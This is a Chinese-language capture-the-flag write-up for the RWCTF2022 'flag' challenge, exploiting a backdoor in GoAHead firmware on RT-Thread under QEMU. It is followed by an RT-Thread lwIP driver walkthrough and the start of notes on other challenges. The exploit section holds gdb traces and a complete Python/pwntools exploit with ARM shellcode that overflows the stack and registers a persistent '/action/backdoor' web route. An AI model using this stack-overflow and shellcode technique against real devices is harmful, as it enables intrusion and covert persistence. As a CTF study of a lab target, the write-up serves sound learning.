Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 2

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x63

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 3

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x6b

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 4

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x64

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 5

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x6f

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 6

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x6f

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 7

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x72

Breakpoint 3, 0x6001b238 in ?? ()
backdoor_cnt = 8

Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
Breakpoint 1, 0x6001b1b4 in ?? ()
packet len = 0x202

Breakpoint 4, 0x6001b298 in ?? ()
backdoor_memcpy called

并将机器打崩:

image-20220129164005728

打崩后,先按下 ctrl + a,松手再按下 x 以关闭 QEMU 。

重新调试回到栈溢出的函数调用位置。注意调用函数时,函数传参分别是 R0、R1、R2

b. 栈溢出与 shellcode 上传

之后我们需要将当前栈上的数据 dump 下来,并在栈溢出时完整的覆盖回去,保证栈数据的完整性。因为覆盖长度为 0x202,一定会覆盖到下面的栈帧,因此务必恢复,否则可能会导致 crash。

image-20220129172718822

需要注意的是,栈溢出能给自己写 shellcode 的空间很有限,只有大约 0x20,因此我们必须用其他方式来上传自己的 shellcode,然后在栈溢出这里只修改返回值来达到跳转执行的目的。

而上传 shellcode 可以用之前 GoAHead 扩展的 submit 方法,动态调试可以得知存放 submit message 的内存地址。

但是,栈溢出跳转时,跳转的 shellcode 地址不是这个 v4,因为当栈溢出时,v4 这块内存已经被覆写了:

image-20220129215935617

那该如何获取到 shellcode 的地址呢?我们可以在 shellcode 前增加一些字符串,例如 “ShellcodeHeader”,然后使用 gdb 命令 find 全局搜索内存来找到 shellcode 地址:

1
2
find 0x60000000, +0x4000000, 'S','h','e','l','l','c','o','d','e'
# 不使用 find xxx, +xxx, "Shellcode" 是因为这会匹配末尾的 \0

查询结果如下。注意下面的 shellcode 被 URL 转码了(这就是另外的问题了):

image-20220130164148119

或者逆向 websSetSessionVar 函数,找到复制出的字符串地址也是可以的。

还有一点,将 shellcode 进行 submit 操作之前,一定要对当前会话进行 login 操作,否则内存中将无法搜索到 shellcode。

c. shellcode 的作用

shellcode 要做的事情主要有两件:

  • 执行 websDefineAction("backdoor", backdoor_handler)注册处理例程。其中 :

    1
    websDefineAction address: 0x6004D28C

    “backdoor” 字符串无需持久化,因为该字符串会在执行 websDefineAction 时被拷贝进哈希表中。

    但 backdoor_handler 需要持久化,因此务必将其拷贝至一个稳定的地方(例如文件系统中,这里我选择将 handler shellcode 复制进 /login_err.html + 0x200 的位置,即 0x606D3aD0)

    backdoor handler 需要做的事情有几件:

    • 将 checker 可能传入的 flag 复制至 404 界面。

    • 返回一个 200 {“status”:“success”} 界面

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    static void backdoor_handler(Webs *wp)
    {
    const char* key = "flag";
    const char* page = "{\"status\" : \"success\"}"
    // 给第三个参数传参 key 是为了避免在找不到值的情况下返回 NULL,便于编写 shellcode
    char* name = websGetVar(wp, key, key); // websGetVar:0x600577C4
    // 将 flag 输出
    rt_printf(name);
    // send page
    websSetStatus(wp, 200); // websSetStatus: 0x600588C4
    websWriteHeaders(wp, -1, 0); // websWriteHeaders: 0x6005891C
    websWriteEndHeaders(wp); // websWriteEndHeaders: 0x60058D30
    websWrite(wp, page); // websWrite: 0x60058E2C
    websDone(wp); // websDone: 0x6005496C
    }

    这里返回 200 OK 数据的写法,主要参考 goahead/blob/master/test/test.c#L327 的写法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    /*
    Implement /action/actionTest. Parse the form variables: name, address and echo back.
    */
    static void actionTest(Webs *wp)
    {
    cchar *name, *address;

    name = websGetVar(wp, "name", NULL);
    address = websGetVar(wp, "address", NULL);
    websSetStatus(wp, 200);
    websWriteHeaders(wp, -1, 0);
    websWriteEndHeaders(wp);
    websWrite(wp, "<html><body><h2>name: %s, address: %s</h2></body></html>\n", name, address);
    websFlush(wp, 0);
    websDone(wp);
    }
  • 执行 websAddRoute("/action/backdoor", "action", 0)重新注册路由表。

    1
    websAddRoute() addr: 0x600636A0

    注意第三个参数为 0,由于路由表是以数组形式顺序访问,因此将 pos 设置为 0 可以将目标路由放至第一个

    踩过的坑:先前重新注册路由表,是打算先覆写 route.txt,再执行 websLoad("route.txt")。但是后来阅读源码,发现这样做太过于麻烦:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    /*
    Load route and authentication configuration files
    */
    PUBLIC int websLoad(cchar *path)
    {
    ...

    for (line = stok(buf, "\r\n", &token); line; line = stok(NULL, "\r\n", &token)) {
    kind = stok(line, " \t", &next);
    ...
    if (smatch(kind, "route")) {
    auth = dir = handler = protocol = uri = 0;
    abilities = extensions = methods = redirects = -1;
    while ((option = stok(NULL, " \t\r\n", &next)) != 0) {
    key = stok(option, "=", &value);
    if ...
    } else if (smatch(key, "handler")) {
    handler = value;
    } else if (smatch(key, "methods")) {
    addOption(&methods, value, 0);
    } else if (smatch(key, "redirect")) {
    if (strchr(value, '@')) {
    status = stok(value, "@", &redirectUri);
    if (smatch(status, "*")) {
    status = "0";
    }
    } else {
    status = "0";
    redirectUri = value;
    }
    ...
    } ...
    } else if (smatch(key, "uri")) {
    uri = value;
    } else {
    error("Bad route keyword %s", key);
    continue;
    }
    }
    if ((route = websAddRoute(uri, handler, -1)) == 0) {
    rc = -1;
    break;
    }
    websSetRouteMatch(route, dir, protocol, methods, extensions, abilities, redirects);
    #if ME_GOAHEAD_AUTH
    if (auth && websSetRouteAuth(route, auth) < 0) {
    rc = -1;
    break;
    }
    } ...
    }
    ...
    return rc;
    }

    通读源码可以看到,我们只需执行 websAddRoute("/action/backdoor", "action", 0) ,即可成功将 backdoor 路由注册进路由表中。而且还可以指定第三个参数,将 backdoor 路由放置进路由表的最前端。

    默认情况下 route 的其他字段为 -1,因此 route 中的 dir、protocol、methods 等不会参与路由匹配。所以下面那个 websSetRouteMatch 函数我们可以不用手动执行。

d. 遇到的其他坑点

继续写 exp 时遇到了一些问题:

  • submit 的 shellcode 会被 GoAHead 进行 URL 编码:

    image-20220130113744939

    因此在发送 submit 请求时,需要加上 HTTP header 显式告知 GoAHead 无需编码:

    1
    "Content-Type":"application/x-www-form-urlencoded"

    需要注意的是,既然都标上这个了,发送的 data 就不能是 json 了(即不能发送 {'word': shellcode}),因为这还是会让远程忽略该 header 进行 URL 编码。

  • pwntools 编码 shellcode 时报错:pwnlib.exception.PwnlibException: Could not find 'as' installed for ContextType(arch = 'arm', bits = 32, encoding = 'latin', endian = 'little', log_level = 10, os = 'linux')

    这是因为我的机器上没有安装 ARM 编译相关的环境等等,执行以下命令安装即可:

    1
    sudo apt-get install binutils-arm-linux-gnueabi
  • gdb pwndbg 中, p/x $fp 显示的是 $sp 的值,但实际上 $fp$r11 是同一个寄存器,有点奇怪,可能是 gdb bug。

  • 若出现以下情况,则需要重启 linux(重启 qemu 已经没用了),或者直接进 docker 中调试:

    • gdb find 出来的 shellcode 地址不固定

    • 每次执行时栈溢出所在栈上数据,有好几个指针的值每次都不同

      根据本人调试,每次栈上数据最多只会有一个非指针值发生改变,并且不影响程序执行。

e. 本地 exploit

没试过远程,因为远程关了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#! python3
from pwn import *
import requests
context(
arch='arm',
bits=32,
encoding='latin',
log_level="info"
)

baseURL = "http://localhost:5555"

def create_session():
session = requests.session()
login_data = {"username": "admin", "password": "admin"}
res = session.post(url=baseURL+"/action/login", data=login_data)
assert res.status_code == 200
return session

def submit_msg(session, msg):
# submit_data = msg # {"word": msg}

res = session.post(
url=baseURL+"/action/submit",
headers={ "Content-Type":"application/x-www-form-urlencoded" },
data=msg)
assert res.status_code == 200

# def get_last_submit_msg(session):
# res = session.get(url=baseURL+"/submit.jst")
# assert res.status_code == 200
# return res.content

def execute_shellcode(shellcode_addr=0x6004cb30):
def send_packet(packet_len, data=b''):
p = remote("127.0.0.1", 5555)
remain_len = packet_len - len(data)
assert remain_len >= 0
p.send(data + b"*" * remain_len)
p.close()
time.sleep(0.3)

for ch in "backdoor": # \x62 \x61 \x63 \x6b \x64 \x6f \x6f \x72
send_packet(ord(ch) - 0x3a)
send_packet(0x202 - 0x3a, flat(
"-"*0xa,
0x6b636162, 0x726f6f64, 0x60e4297c, 0x00000202,
0x02020000, 0x609a4208, 0x61cd29f8, 0xffffffff,
0x61cd27e4, 0x60e52d58, 0x04040404, 0x60e429d4,
shellcode_addr, 0x06060606, 0x00000000, 0x08080808,
0x609a4208, 0x61cd278c, 0x6000001f, 0x00000001,
0x2000001f, 0x11111111, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x80000068, 0x60e428e8, 0x00000000, 0x60e52cf4,
0x609a40e4, 0x60e429f0, 0x609a40dc, 0x00000001,
0x60e3a994, 0x60e3a994, 0x60e429f0, 0x00000000,
0x00000006, 0x60e3a9e8, 0x00787265, 0x00000000,
0x00000000, 0x00000005, 0x00000000, 0x00000006,
0x00000000, 0x0000007e, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x80000080, 0x60e42aac,
0x60e42ac0, 0x60e42acc, 0x60e42abc, 0x00000000,
0x60e42a70, 0xffffffff, 0x60e42a70, 0x60e42a70,
0x00000001, 0x60e42a84, 0xffffffff, 0x60e4aaf8,
0x60e4aaf8, 0x00000000, 0x00000008, 0x00000004,
0x0000ffff, 0x00000000, 0x00000000, 0x00000000,
0x60e52bc4, 0x60e52a9c, 0x60e52ab4, 0x60e72954,
0x60e52a9c, 0x60e52a9c, 0x60e52ab4, 0x60e72954,
0x00000000, 0x00000000, 0x80008008, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5,
0xa5a5a5a5, 0xa5a5a5a5, 0xa5a5a5a5, "\xa5\xa5",
))

shellcode_addr = 0x60d9c588
sc_bytecode = asm(vma=shellcode_addr, shellcode='''
// save all registers
push {r0-r11}

// memcpy handler to /log_err.html + 0x200
ldr r0, =0x606D3aD0
ldr r1, =backdoor_handler
ldr r2, =0x200
ldr r3, =0x60021704
BL call

// call websDefineAction("backdoor", backdoor_handler)
ldr r0, =backdoor
ldr r1, =0x606D3aD0
ldr r3, =0x6004D28C
BL call

// rt_printf status
mov r1, r0
ldr r0, =rt_printf_fmt
ldr r3, =0x6002111C
BL call

// websAddRoute("/action/backdoor", "action", 0)
ldr r0, =route_path
ldr r1, =route_handler
mov r2, 0
ldr r3, =0x600636A0
BL call

// pop all registers
pop {r0-r11}

// return to origin
ldr pc, =0x6004cb30

/* ----------- backdoor_handler ----------- */
backdoor_handler:
push {r1-r11, lr}
push {r0}

// char* name = websGetVar(wp, key, key);
ldr r0, [sp]
ldr r1, =flag
ldr r2, =flag
ldr r3, =0x600577C4
BL call

// memcpy to 404 data
mov r1, r0
ldr r0, =0x60076824
// ldr r1, =success_page
ldr r2, =23
ldr r3, =0x60021704
BL call

// websSetStatus(wp, 200)
ldr r0, [sp]
ldr r1, =200
ldr r3, =0x600588C4
BL call

// websWriteHeaders(wp, -1, 0)
ldr r0, [sp]
ldr r1, =-1
ldr r2, =0
ldr r3, =0x6005891C
BL call

// websWriteEndHeaders(wp)
ldr r0, [sp]
ldr r3, =0x60058D30
BL call

// websWrite(wp, page)
ldr r0, [sp]
ldr r1, =success_page
ldr r3, =0x60058E2C
BL call

// websDone(wp)
ldr r0, [sp]
ldr r3, =0x6005496C
BL call

pop {r0}
pop {r1-r11, pc}

call: // 手动实现 call r3
push {lr}
mov lr, pc
add lr, lr, 4
mov pc, r3
pop {pc}

flag: .asciz "flag"
backdoor: .asciz "backdoor"
success_page: .asciz "{\\"status\\" : \\"success\\"}"

route_path: .asciz "/action/backdoor"
route_handler: .asciz "action"

rt_printf_fmt: .asciz "shellcode status: %d\\n"
backdoor_fmt: .asciz "backdoor: %s\\n"
''')

if __name__ == '__main__':
# 启动 qemu
p = process("./dbg.sh")
p.recvuntil("lwIP-2.1.3 initialized!")
time.sleep(1)

# 发送并执行 shellcode
log.info("exploiting...")
session = create_session()
submit_msg(session, b"ShellcodeHeader" + sc_bytecode)
execute_shellcode(shellcode_addr)

# 手动进行 health check,并获取 flag
# print(p.recvall(timeout=1))
# os.system("python3 ./flag.py")
p.interactive()

效果:

image-20220131114450939

七、RT-thread – lwIP

这题的题解如上文所示,到此为止。接下来我们来简单扩展一下内容。

a. Overview

这一题 FreeRTOS 中的 lwIP 协议栈模块,是使用的 RT-thread (国产 RTOS)中的 lwIP 。

根据出题人的想法,使用 RT-thread 中的 lwIP 是为了便于调试。

出题也不容易…

lwIP 是一个小型开源的 TCP/IP 协议栈,重点是在保持 TCP 主要功能的基础上减少对 RAM 的占用,适合嵌入式系统。RT-thread 中,协议栈的驱动架构图如下:

驱动架构图

RT-thread 在原版 lwIP 的基础上,新增了一个网络设备层。该层对以太网数据收发采用独立双线程结构

数据接收流程

当以太网硬件接收到数据报文后,硬件会将数据放入缓冲区,之后触发硬件中断。所注册的中断处理例程会发送邮件(mail)通知数据接收线程 erx ,使其根据报文长度申请 pbuf、读入数据,并在数据接收完成后,继续发送邮件唤醒 TCP/IP 线程进行进一步的处理。

数据发送流程

当有数据需要发送时,lwIP 会通过邮件向 etx 线程发送请求,之后永久等待 tx_ack 信号量,等待数据发送完成。而当 ext 线程数据发送完成后, tx_ack 信号量将会被设置,通知 lwIP 数据已经发送完成。

接下来,我们来简单看看这个数据收发的过程。

b. lwip_init

初始时,RTOS 中控制流会执行 lwip_system_init 函数来进行一系列的初始化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* LwIP system initialization
*/
extern int eth_system_device_init_private(void);
int lwip_system_init(void)
{
...
eth_system_device_init_private();
...
tcpip_init(tcpip_init_done_callback, (void *)&done_sem);
...
rt_kprintf("lwIP-%d.%d.%d initialized!\n", LWIP_VERSION_MAJOR, LWIP_VERSION_MINOR, LWIP_VERSION_REVISION);
...
}

该函数:

  • 执行 eth_system_device_init_private 初始化 erx 和 etx 线程。
  • 调用 tcpip_init 创建 tcpip 线程。
  • 输出回显信息。可以看到这里输出的信息和题目输出的是一样的。

这里我们只关注 eth_system_device_init_private 函数,该函数只做了两件事:创建 etx 和 erx 线程,并创建对应的邮箱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int eth_system_device_init_private(void)
{
rt_err_t result = RT_EOK;

/* initialize Rx thread. */
#ifndef LWIP_NO_RX_THREAD
/* initialize mailbox and create Ethernet Rx thread */
result = rt_mb_init(&eth_rx_thread_mb, "erxmb",
&eth_rx_thread_mb_pool[0], sizeof(eth_rx_thread_mb_pool)/4,
RT_IPC_FLAG_FIFO);
RT_ASSERT(result == RT_EOK);

result = rt_thread_init(&eth_rx_thread, "erx", eth_rx_thread_entry, RT_NULL,
&eth_rx_thread_stack[0], sizeof(eth_rx_thread_stack),
RT_ETHERNETIF_THREAD_PREORITY, 16);
RT_ASSERT(result == RT_EOK);
result = rt_thread_startup(&eth_rx_thread);
RT_ASSERT(result == RT_EOK);
#endif

/* initialize Tx thread */
#ifndef LWIP_NO_TX_THREAD
/* initialize mailbox and create Ethernet Tx thread */
result = rt_mb_init(&eth_tx_thread_mb, "etxmb",
&eth_tx_thread_mb_pool[0], sizeof(eth_tx_thread_mb_pool)/4,
RT_IPC_FLAG_FIFO);
RT_ASSERT(result == RT_EOK);

result = rt_thread_init(&eth_tx_thread, "etx", eth_tx_thread_entry, RT_NULL,
&eth_tx_thread_stack[0], sizeof(eth_tx_thread_stack),
RT_ETHERNETIF_THREAD_PREORITY, 16);
RT_ASSERT(result == RT_EOK);

result = rt_thread_startup(&eth_tx_thread);
RT_ASSERT(result == RT_EOK);
#endif

return (int)result;
}

我们看看 erx 线程主要干了什么事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* Ethernet Rx Thread */
static void eth_rx_thread_entry(void* parameter)
{
struct eth_device* device;

while (1)
{
// 尝试从邮箱中读取邮件,如果没有邮件则一直阻塞
if (rt_mb_recv(&eth_rx_thread_mb, (rt_ubase_t *)&device, RT_WAITING_FOREVER) == RT_EOK)
{
rt_base_t level;
struct pbuf *p;
...
/* receive all of buffer */
while (1)
{
if(device->eth_rx == RT_NULL) break;

// 调用注册的 eth_rx 函数,从 device 中接收数据
p = device->eth_rx(&(device->parent));
if (p != RT_NULL)
{
/* notify to upper layer */
// 在这里将接收到的数据传给 TCPIP 线程
if( device->netif->input(p, device->netif) != ERR_OK )
{
LWIP_DEBUGF(NETIF_DEBUG, ("ethernetif_input: Input error\n"));
pbuf_free(p);
p = NULL;
}
}
else break;
}
}
else
{
LWIP_ASSERT("Should not happen!\n",0);
}
}
}

从代码中可以得知,该线程会循环读取邮箱 -> 从 device 中读取数据 -> 把读取的数据传给 TCPIP 线程这样的一个过程。

而另一个 etx 线程主要用于和硬件打交道,将 TCPIP 线程发至 etx 线程的数据转发给具体的 device 执行发包操作,待发包完成后发送 ack 回 TCPIP 线程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* Ethernet Tx Thread */
static void eth_tx_thread_entry(void* parameter)
{
struct eth_tx_msg* msg;

while (1)
{
// 阻塞读取邮件
if (rt_mb_recv(&eth_tx_thread_mb, (rt_ubase_t *)&msg, RT_WAITING_FOREVER) == RT_EOK)
{
struct eth_device* enetif;

RT_ASSERT(msg->netif != RT_NULL);
RT_ASSERT(msg->buf != RT_NULL);

enetif = (struct eth_device*)msg->netif->state;
if (enetif != RT_NULL)
{
/* call driver's interface */
// 尝试发包
if (enetif->eth_tx(&(enetif->parent), msg->buf) != RT_EOK)
{
/* transmit eth packet failed */
}
}

/* send ACK */ // 发包完了之后发送 ACK 回到 TCPIP
rt_completion_done(&msg->ack);
}
}
}

c. hw_init

上面是 lwIP 中关于 etx 和 erx 线程的初始化。实际的数据收发操作都是由具体的硬件来完成,那硬件是怎么注册的呢?

这里以 qemu-vexpress-a9 设备为例(没错就是 flag 题所用设备)

根据以下调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
* @brief This function will call all levels of initialization functions to complete
* the initialization of the system, and finally start the scheduler.
*/
int rtthread_startup(void);

=> 调用 =>

/**
* @brief This function will create and start the main thread, but this thread
* will not run until the scheduler starts.
*/
void rt_application_init(void);

=> 创建 main 线程,线程执行函数 =>

/**
* @brief The system main thread. In this thread will call the rt_components_init()
* for initialization of RT-Thread Components and call the user's programming
* entry main().
*/
void main_thread_entry(void *parameter);

=> 调用 =>

/**
* @brief RT-Thread Components Initialization.
*/
void rt_components_init(void);

我们可以找到函数 rt_components_init 的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* @brief RT-Thread Components Initialization.
*/
void rt_components_init(void)
{
#if RT_DEBUG_INIT
[...]
#else
volatile const init_fn_t *fn_ptr;

for (fn_ptr = &__rt_init_rti_board_end; fn_ptr < &__rt_init_rti_end; fn_ptr ++)
{
(*fn_ptr)();
}
#endif /* RT_DEBUG_INIT */
}

这里,是不是很像先前使用 IDA 反编译 backdoor 向上找交叉引用的地方?

我们可以看到,该函数会遍历从 __rt_init_rti_board_end -> __rt_init_rti_end 上的每个函数指针,并执行。这两个函数指针代表了什么呢?阅读一下相关的代码和注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
* Components Initialization will initialize some driver and components as following
* order:
* rti_start --> 0
* BOARD_EXPORT --> 1
* rti_board_end --> 1.end
*
* DEVICE_EXPORT --> 2
* COMPONENT_EXPORT --> 3
* FS_EXPORT --> 4
* ENV_EXPORT --> 5
* APP_EXPORT --> 6
*
* rti_end --> 6.end
*
* These automatically initialization, the driver or component initial function must
* be defined with:
* INIT_BOARD_EXPORT(fn);
* INIT_DEVICE_EXPORT(fn);
* ...
* INIT_APP_EXPORT(fn);
* etc.
*/
static int rti_start(void) { return 0; }
INIT_EXPORT(rti_start, "0");

static int rti_board_start(void) { return 0; }
INIT_EXPORT(rti_board_start, "0.end");

static int rti_board_end(void) { return 0; }
INIT_EXPORT(rti_board_end, "1.end");

static int rti_end(void) { return 0; }
INIT_EXPORT(rti_end, "6.end");

还有这个宏定义:

1
2
#define INIT_EXPORT(fn, level)                                                       \
RT_USED const init_fn_t __rt_init_##fn RT_SECTION(".rti_fn." level) = fn

可以得出结论:对于编译出来的二进制文件中,存在一个数据段,名为 .rti_fn。这个段上存放着一些函数指针,用于初始化一系列设备等等;而刚刚所说的两个函数指针所表示的是注册在这个段上的两个函数指针,用于标识段上特定类型函数指针的位置

这里我们可以看到,使用宏 INIT_APP_EXPORT 声明的设备,其函数指针也会存放在 __rt_init_rti_board_end -> __rt_init_rti_end 这个范围。

也就是说使用 INIT_APP_EXPORT 声明的设备,其初始化函数会在 rt_components_init 中执行。

d. smc911_init

接下来我们看看 smc911x 设备驱动,也就是 backdoor 所在的设备驱动 (bsp\qemu-vexpress-a9\drivers\drv_smc911x.c)。

可以看到,该文件中存在这样的一条语句:

1
INIT_APP_EXPORT(smc911x_emac_hw_init);

也就是说 smc911x 设备将初始化函数 smc911x_emac_hw_init 注册进了 .rti_fn 段中,等待被函数 rt_components_init 所调用。
smc911x_emac_hw_init 函数源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int smc911x_emac_hw_init(void)
{
_emac.iobase = VEXPRESS_ETH_BASE;
// 设置中断号
_emac.irqno = IRQ_VEXPRESS_A9_ETH;
...
/* set INT CFG */
smc911x_reg_write(&_emac, LAN9118_IRQ_CFG, LAN9118_IRQ_CFG_IRQ_POL | LAN9118_IRQ_CFG_IRQ_TYPE);
...
#ifdef RT_USING_DEVICE_OPS
_emac.parent.parent.ops = &smc911x_emac_ops;
#else
_emac.parent.parent.init = smc911x_emac_init;
_emac.parent.parent.open = RT_NULL;
_emac.parent.parent.close = RT_NULL;
_emac.parent.parent.read = RT_NULL;
_emac.parent.parent.write = RT_NULL;
_emac.parent.parent.control = smc911x_emac_control;
#endif
_emac.parent.parent.user_data = RT_NULL;
// 注意! 这里设置了 eth_rx 和 eth_tx 方法
_emac.parent.eth_rx = smc911x_emac_rx;
_emac.parent.eth_tx = smc911x_emac_tx;

/* register ETH device */
// 对 eth device 进行初始化
eth_device_init(&(_emac.parent), "e0");
...
}

该函数主要设置了一些操作(ops),例如 smc911x_emac_initsmc911x_emac_rxsmc911x_emac_tx。我们可以看到该函数为结构体 _emac 设置了 eth_rxeth_tx 字段,因此当 lwIP 线程需要收发信息时,会调用该设备的 smc911x_emac_rxsmc911x_emac_tx 这两个函数。

这里比较有意思的是结构体 _emac 的类继承关系:

1
2
3
4
5
6
7
8
9
10
struct eth_device_smc911x
{
/* inherit from Ethernet device */
struct eth_device parent;
/* interface address info. */
rt_uint8_t enetaddr[MAX_ADDR_LEN]; /* MAC address */

uint32_t iobase;
uint32_t irqno;
};

这里存在一个 parent 结构体,类似于 C++ 中的继承,表示了一个具体的以太网设备。而该 eth_device 结构体源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct eth_device
{
/* inherit from rt_device */
struct rt_device parent;

/* network interface for lwip */
struct netif *netif;
struct rt_semaphore tx_ack;

rt_uint16_t flags;
rt_uint8_t link_changed;
rt_uint8_t link_status;
rt_uint8_t rx_notice;

/* eth device interface */
struct pbuf* (*eth_rx)(rt_device_t dev);
rt_err_t (*eth_tx)(rt_device_t dev, struct pbuf* p);
};

#ifdef __cplusplus
extern "C" {
#endif

rt_err_t eth_device_ready(struct eth_device* dev);
rt_err_t eth_device_init(struct eth_device * dev, const char *name);
rt_err_t eth_device_init_with_flag(struct eth_device *dev, const char *name, rt_uint16_t flag);
rt_err_t eth_device_linkchange(struct eth_device* dev, rt_bool_t up);

int eth_system_device_init(void);

#ifdef __cplusplus
}

这个结构体描述了一个抽象的以太网设备接口,其中这些函数指针在 lwIP 层会被调用。

注意到最后 smc911x_emac_hw_init 函数执行了一下 eth_device_init 函数,而该函数最终会调用到 smc911x_emac_init 函数,在其中注册中断处理例程 smc911x_isr

1
rt_hw_interrupt_install(emac->irqno, smc911x_isr, emac, "smc911x");

当以太网设备有数据发出中断后,中断处理例程 smc911x_isr 被调用,如果数据准备好了,则调用 eth_device_ready

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static void smc911x_isr(int vector, void *param)
{
uint32_t status;
struct eth_device_smc911x *emac;

emac = SMC911X_EMAC_DEVICE(param);

status = smc911x_reg_read(emac, LAN9118_INT_STS);

if (status & LAN9118_INT_STS_RSFL)
{
eth_device_ready(&emac->parent);
}
smc911x_reg_write(emac, LAN9118_INT_STS, status);

return ;
}

eth_device_ready 函数会发送邮件给 erx 线程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rt_err_t eth_device_ready(struct eth_device* dev)
{
if (dev->netif)
{
if(dev->rx_notice == RT_FALSE)
{
dev->rx_notice = RT_TRUE;
// 发送邮件给 erx 线程
return rt_mb_send(&eth_rx_thread_mb, (rt_ubase_t)dev);
}
else
return RT_EOK;
/* post message to Ethernet thread */
}
else
return -RT_ERROR; /* netif is not initialized yet, just return. */
}

这样,整个流程就全部出来了,正对上了最上面的那个流程图。

八、参考

九、鸣谢

特别感谢呆呆师傅的 FLAG 题解技术分享

RWCTF2022 Pwn 笔记1

一、简介

这里是复盘 RWCTF2022 关于:

  • QLaas
  • Who Moved My Block
  • SVME

这三道题时所写下的一些笔记。

受限于时间与效率,一部分题目的 exp 将不再贴出,只会记录下解题或利用的详细流程。

二、QLaas

1. QLaas 小叙

1
2
3
4
5
6
Qiling as a Service.
nc 47.242.149.197 7600
QLaaS_61a8e641694e10ce360554241bdda977.tar.gz
Note: read flag using /readflag

Clone-and-Pwn, difficulty:Schrödinger

